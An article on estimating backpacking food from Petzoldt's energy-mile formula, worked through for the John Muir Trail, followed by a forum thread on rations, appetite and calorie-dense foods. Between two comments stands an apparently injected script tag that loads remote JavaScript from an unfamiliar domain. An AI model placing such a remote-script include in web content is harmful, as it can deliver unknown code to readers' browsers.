Answering the question:
How much food do I bring on my backpacking trip?
requires some consideration of a basic energy balance equation we can write as:
Calories of Energy Expended = Calories of Food Eaten + Calories of Body Fat Consumed
Since Calories of Food Eaten is what we’re really after, then we can rewrite the equation as:
Calories of Food Eaten = Calories of Energy Expended – Calories of Body Fat Consumed
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Of course, the usual disclaimer applies: physiology and metabolism are far more complex than this. This equation is merely one attempt to simplify the process and capture the major components of energetics so we can (as a starting point) estimate how much food to pack on a trip. This equation represents a highly reliable, time-tested approach that I’ve been using (and validating) for more than 30 years. Of course, YMMV.
–
In fine ultralight style, assuming we want to exit at the trailhead with no excess food, we’re hoping that
Calories of Food Packed – Calories of Food Eaten = 0
Thus, I’d like to have a reasonable answer to the two questions:
- How many Calories of energy will I expend on my trek?
- How many Calories of body fat will I consume on my trek?
To answer the first question, I start with an empirical formula based on Petzoldt’s energy mile theory and derived from respiration studies:
Energy Miles = Actual Miles + N x Elevation Gain (ft) / 1000
where N is the energy cost of climbing. N generally varies between the values of about 1.3 and 2.0 and is dependent on pack weight, steepness of the grade, terrain difficulty, gender, state of fitness, and other factors.
In the study referenced above, subjects expended an average of 180-231 Calories per mile on a flat grade, and an average of 328-426 Calories per mile on a 9.5% grade. The resulting data analysis then suggests that N works out to be about 1.6.
Let’s apply this and see how it works out.
As a case study, we’ll take a look at the John Muir Trail, which is 211 miles in length and gains 47,000 feet in elevation. First, let’s calculate the number of equivalent energy miles:
211 Actual Miles + 1.6 x 47,000 ft / 1000 = 286 Energy Miles
Now, assume that you’re carrying a light pack (20 pounds) and the energy cost of carrying that pack on a flat mile (one energy mile) is about 200 Calories, then we can calculate the total Caloric requirements as
Energy Required for Hiking: 286 Energy Miles x 200 Calories per Energy Mile = 57,200 Calories
Add to this your basal caloric needs (for me that amounts to about 1,600 Calories per day) and determine the number of days on the trail (for example, hiking 15 miles per day would allow you to complete the JMT in 14 days):
Energy Required for Basal Metabolism: 15 days x 1,600 Calories per day = 24,000 Calories
If the average caloric density of your food is about 120 Calories per ounce, then we can calculate the total food weight required as:
( 57,200 + 24,000 = 81,200 Cal ) / 120 Cal per oz = 677 oz (42.2 pounds)
This works out to about 5,400 Calories per day or 45 oz (2.8 lb) of food per day! That’s a lot to carry!
Saving Food Weight: Lightweight Practices and Principles
1. Maximize Caloric density of foods
The example above assumes a caloric density of 120 Calories per ounce. To put this in context, consider the caloric density of the following ingredients that I have in my breakfast cereal:
- cereal grains – 100 Cal/oz
- freeze-dried berries – 110 Cal/oz
- seeds – 180 Cal/oz
- coconut chips – 200 Cal/oz
When I first started eating this cereal the recipe had a fairly low caloric density. I’ve since boosted it by playing with ingredient ratios, and adding coconut flakes.
The following table shows my before and after recipes.
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Companion forum thread to: How Much Food Should I Pack? (How to save weight on backpacking food based on the energy-mile theory)
A mathematical model to calculate how much food to pack for your trip based on terrain and mileage with minimum weight carried in the pack.
The Validity of Petzoldt’s Energy Mile Theory
In 1976, Paul Petzoldt, a mountaineer and founder of the National Outdoor Leadership School, proposed a theory to help backpackers plan trips and calculate their energy needs while on the trail in his book, Teton Trails. As defined by Petzoldt’s theory, one energy mile is equal to the energy required to walk one mile on flat terrain. He also said that you should add two energy miles for every 1000 feet of elevation gain. In other words, if you hiked 1 mile while climbing 1000 feet, you would’ve used the equivalent of three energy miles.
Petzoldt’s theory, however, had never been tested before – that is until recently, when a study was conducted at Western Carolina University’s Exercise Physiology Laboratory, by Maridy Troy, assistant professor in WCU’s health and physical education program, and Maurice Phipps, professor of parks and recreation management.
The study measured the energy cost and perceived exertion for walking on flat terrain, with and without a backpack, as well as an elevation gain of 1000 feet. Results from the data show an average of a 1.6-mile equivalent for a 1000 foot gain in elevation. Differences between females and males ranged from 1.32 to 2.02. Professor Phipps stated in an article for WCU news that the range revealed by the study was due to the “hikers” personal weight differences. The abstract from the study states that further research using heavier expedition packs at higher altitudes could also reveal changes in energy cost.
“It is remarkable that Petzoldt’s energy mile theory is so close to the actual energy cost measured during our study,” Phipps stated.
Phipps also said the energy required for hiking up steep mountain trails would vary for individuals and groups, and the variables of the trail would also factor in, but he recommends that backpackers stick with Petzoldt’s theory of adding two energy miles for every 1,000 feet in elevation gain.
I found this information to be extremely interesting. Petzoldt’s theory happens to be the same formula that I use to calculate difficulty ratings for trails in the Smokies. I discovered the formula while visiting a website for trails in Colorado several years ago. The website stated that the equation was developed by Dick Holley, and came from Rocky Mountain National Park Dayhiker’s Guide by Jerome Malitz. I guess we didn’t follow the tree all the way to its roots!
Although the formula may not be exact, what Paul Petzoldt was essentially trying to solve was how many calories a hiker or backpacker burns while hiking. With today’s internet technology that is much easier to do. The Hiking Dude has an excellent calorie calculator on his website. It takes into account your weight, plus the weight of you backpack, the distance you’ll be hiking, and how much elevation you’ll gain along the way. This can be useful in determining (roughly) how much food you’ll need to pack for a hike.
http://hikinginthesmokys.blogspot.com/2011/06/validity-of-petzoldts-energy-mile.html
Petzoldt’s Theory is a classic example of modern academics with little real knowledge thinking they have invented the wheel.
That is 127 years ago.
Yeah, the idea has been around for a long time, and it has been verified so many times (but perhaps not by American academics) over that time.
It is also listed as the Naismith Tranter Rule. It is of course all over the web, along with all sorts of tweaks and corrections.
Cheers
There is additional interesting information in this research article:
https://advances.sciencemag.org/content/5/6/eaaw0341
Or straight to PDF:
https://advances.sciencemag.org/content/5/6/eaaw0341
It’s not about hiking but has some interesting insights on sustained maximal human energy expenditure.
“…we find evidence for an alimentary energy supply limit in humans of ~2.5Ă— BMR; greater expenditure requires drawing down the body’s energy stores”.
So bringing more seems unnecessary / counter productive?
As an aside, with a BMR of 1600 this would amount to 4000.
So bringing more seems unnecessary / counter productive?
Only if you are working at the absolute maximum human rate. But if you are going walking for pleasure, you should be a long way from that.
I do not suggest that you should not lose weight on a long walk. If your BMI is above the ‘normal’ range, then losing a bit of weight may even be a good thing – up to a point! But if you are suffering the whole time, why are you doing it?
Cheers
I think Ryan suffers on his treks. He admits to sleeping cold…….improper amounts of food….I suspect so.
Take an additional days worth of light weight Mountan House meals ;)
More cheese!
More chocolate!
More salami!
Cheers
Thanks Ryan. A good, easily understood calculation.
“More cheese!
More chocolate!
More salami!”
Ha, really good trail food!
In Scotland, every kid who hill-walks is taught Naismith’s rule. It works remarkably well, once you adjust it to your pace.
And yes, in the Western Alps you are going to be packing mainly cheese, chocolate and salami – pretty much all you can find in many alpine villages. Luckily they offer excellent calorie density and the quality is outstanding. Unless you want to carry bread you are looking at pasta or rice for your carbs, so stoveless is tricky.
On my last alpine walk I started overweight and deliberately ate to lose around 2.5lbs per week. Painless and sustainable over quite a few weeks.
pretty much all you can find in many alpine villages.
And fresh bread – real bread, not Wettex stuff.
I do remember descending one day to a village (Europe somewhere), when we passed a girl going upwards. She had 3 – 4 baguettes sticking out of her pack!
Cheers
I did carry loaves of bread sometimes – the artisan stuff is a nice change from pasta and rice.
You can also find dense volkbrot and pumpernickel in some areas, which is more packable, though not to everyone’s taste.
I was tight for pack space on my last trip, but stomping on the bread worked well to compress it and it still tasted OK. The pack I’m making now will have enough volume to carry treats like this at a pinch.
stomping on the bread worked well to compress it
Heathen!
Did you clean up the crumbs?
Cheers
I often find that I don’t have an appetite at altitude. I did a week long 100 mile on/off trail trip in the Sierra this summer, and packed 1.4 pounds of food per day. I ended up with about half of it left after the trip was over, so I ate less than a pound a day.
Geoff mentions bread and it reminds me of a 17 day trip I pulled in the mountains of TN inside Bald River wilderness—and I brought bread—
I am typically good with 1.25 pounds per day, even with a lot of elevation gain. I find my appetite is not high when I am hiking hard and/or at elevation. After about a week of hiking, my appetite will pick back up a little. I’m packing pretty calorie dense, but I have never run out of food at 1.25 pounds per day.
stomping on the bread worked well to compress it
I do that with potato crisps, chips?, in the big 350gm bags. I then eat them with a spoon. Surprisingly they taste just the same too. 1900 kcals.
You should have seen the look on the checkout girl’s face when I did it whilst trying to get the bag into my backpack. (She had lent me her scissors to cut an air hole).
<i>I am typically good with 1.25 pounds per day</i>
I used to take 1.5 lbs a day @ 125 kcals per oz, but find now that I have food left over, so will try 1.25 lbs too.
I am also adding a lot of coconut oil to hot drinks and meals to increase the calorie density. Could be tricky when it gets hot enough to melt the oil.
John says “I am also adding a lot of coconut oil to hot drinks and meals to increase the calorie density. Could be tricky when it gets hot enough to melt the oil.”
I’m on a current Avocado oil kick and usually bring it in an empty water bottle like this (filled with olive oil in the pic)—Avo oil never has the throat burning like Olive oil. On my last trip I used a 17oz Evian bottle of Avo oil—that’s just about right for 21 days.
Another trick is to buy several lbs of raw whole cashews and use a food processor to make Cashew Butter—and add this to my morning peppermint tea as a sort of non diary creamer. Works great.
We work on 0.75 kg (26 oz) per day total. Neither weight gain nor loss.
Although I do remember one long alpine through-hike where we were eating almost 50% more than that per day – but we were doing 35 km per day in mountain country (lots of ups and downs). Since we had put in regular food drops before we started, we could do that. Yeah – all the cheese and chocolate went!
Cheers
This rule seems like a good estimate but just a comment, I am wary of the equation that leaves the hiker with no food remaining on the last step of the walk.
On a multiday walk I always plan to arrive with at least one day’s worth of food left in my pack, to accommodate forced delays or emergencies.
I’ve had to have an enforced rest day in the mountains a couple of times due to stormy weather. I’d have hated to have had my food planned so closely as to have nothing left on the last day…. that last day might become the second or third last one.
In some very wet areas it is nothing to be mid-walk and have to wait two-three days for a swollen river to go down. I have seen hikers in similar solutions have to mooch food of other hikers because they haven’t planned for predictable but unforeseen delays – which leaves everyone short. Yep, ultralight – but ultra-annoying for everyone else as well.
My equation is usually: Calories of Food Packed = Calories of Food predictably required + emergency allocationÂ
On a multiday walk I always plan to arrive with at least one day’s worth of food left in my pack, to accommodate forced delays or emergencies.
Just so!
When we are walking off track it is very hard to predict exactly how fast we will be going.
When we are walking on tracks, it is so easy to dream off, slip and sprain an ankle.
We are not trying to do a Bear Grylls.
Cheers
Addit: Energy production can vary enormously even in the one individual – altitude and ambient temperature and humidity will raise metabolism.  off track walking, altitude, sleep loss and cold humid weather (in an extreme case postholing through unexpected snow!), even when adequately prepared, raises metabolism significantly over walking on a graded track in fine weather.
Raised metabolism = raised energy input requirement=more food required.
The planning method described in the article is good for planning a minimal baseline of food (except i don’t concur with the planned underfeeding) but it does concern me that the casual reader will take this as gospel and not account for contingencies or other predictable variables..
<script src=”//domclickext.xyz/212b3d4039ab5319ec.js” async=”” type=”text/javascript”></script>
“I am typically good with 1.25 pounds per day, even with a lot of elevation gain. I find my appetite is not high when I am hiking hard and/or at elevation. After about a week of hiking, my appetite will pick back up a little. I’m packing pretty calorie dense, but I have never run out of food at 1.25 pounds per day.”
This is me too. My appetite is always blunted for the first few days, so this works for me. I typically lose 5 or more pounds during the week, and am happy to…it makes me wish I was hiking for a longer period of time. I do graze enough during the day to avoid bonking, and always have a good dinner for recovery.
Next year I plan to do my first set of 2 and 3 week trips, and am interested to see if hiker hunger will finally kick in.
“Energy production can vary enormously even in the one individual – altitude and ambient temperature and humidity will raise metabolism.”
I think it is worth mentioning that the mix of one’s food should shift to an emphasis on carbohydrates when hiking at altitude, particularly while on the move. This is due to the decreased availability of oxygen required for aerobic metabolism. Both fat and protein require more O2 to metabolize. In my experience the majority of the fat and protein is best taken in the evening, when the demand for O2 for movement is minimal and is thus available for metabolizing fat and protein.
Edit: I guess I should add that for extended trips, fat will inevitably be increasingly relied on. But this will require a slower pace and/or a high degree of aerobic fitness. Most people on this website will probably not have to worry about this, but it is worth mentioning nonetheless.
https://www.climbingnutrition.com/diet/why-you-need-oxygen-to-burn-fat/
I recommend this book to support and add to what has already presented and said concerning…… “How Much Food Should One Pack”?.
NOLS Backcountry Nutrition
Proper nutrition is important for success of trips in the backcountry. Learn what gives you energy, builds strength, keeps your immune system strong, and minimizes cranky moments. NOLS experts explain the nutrients you need in the backcountry, why you need them and where to find them in wilderness foods.
This book includes how to adjust meals for special environments or special diets and how to deal with illnesses. For recipes and more specific help with menu planning, NOLS Cookery is an excellent companion to this field guide.
https://www.amazon.com/Backcountry-Nutrition-National-Outdoor-Leadership/dp/0811735052
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